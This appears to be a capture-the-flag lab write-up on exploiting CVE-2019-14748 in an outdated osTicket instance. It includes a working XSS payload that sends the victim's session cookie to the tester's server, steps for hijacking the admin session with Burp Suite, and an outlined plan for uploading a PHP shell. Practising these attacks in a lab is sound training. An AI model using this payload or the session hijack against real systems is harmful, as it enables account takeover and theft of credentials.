Megavolt_XSS

XSS

---

The target web application instance is outdated and suffering from CVE-2019-14748 Given how open tickets are being “processed” by the supposed agent(admin) user, alfred, the user might as well open up the attachment, leading to exploitation of CVE-2019-14748. Being able to execute arbitrary JavaScript code would mean that this vulnerability could further lead to either SSRF or cookie stealing.

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/megavolt]
└─$ cat cookie_stealer.html          
<script>
function hijacking() {
    var img = document.createElement("img");
    img.src = "http://192.168.45.192/xss?=" + document.cookie;
    document.body.appendChild(img);
}
 
hijacking();
</script>

So I created a simple JavaScript payload with the .html extension as pointed out in the exploit paper. This payload will fetch and send the session cookie of whoever open up the file to Kali’s web server.

Cookie Stealing

---

Creating a new ticket with the cookie_stealer.html file as an attachment

The alfred user “processed” the ticket and opened up the file. The XSS payload inside the file got executed, fetching and sending the alfred user’s session cookie; OSTSESSID=pofmb0rqcnmmula1fed0fhm1hm

Authenticate as alfred

---

With the session cookie of the alfred user at possession, I can authenticate as the user using the stolen session cookie.

I can put that into the Burp Suite’s session handling rule

Crating a new session handling rule; alfred's session

Then adding a new action to append the stolen cookie

For the configured scope above

Now I can navigate to the admin page at the /scp/ endpoint as the Alfred user, as Burp Suite automatically handles the session

Version

---

The version turns out to be even more outdated; 1.8

Plugins

---

Checking the installed plugin by going to Manage > Plugins, there is one entry; “Attachments on the Filesystem” It’s installed but disabled.

Upon further inspection, this plugin is designed to store attachment files directly onto the host filesystem. Since the application is built using PHP, there is a potential security risk that an attacker might be able to upload a malicious PHP shell as an attachment. If the plugin saves this file in the /var/www/html/attachments directory without proper validation or restrictions, it could allow the attacker to execute arbitrary code by directly accessing the uploaded file through a web request.

Moving onto the Exploitation phase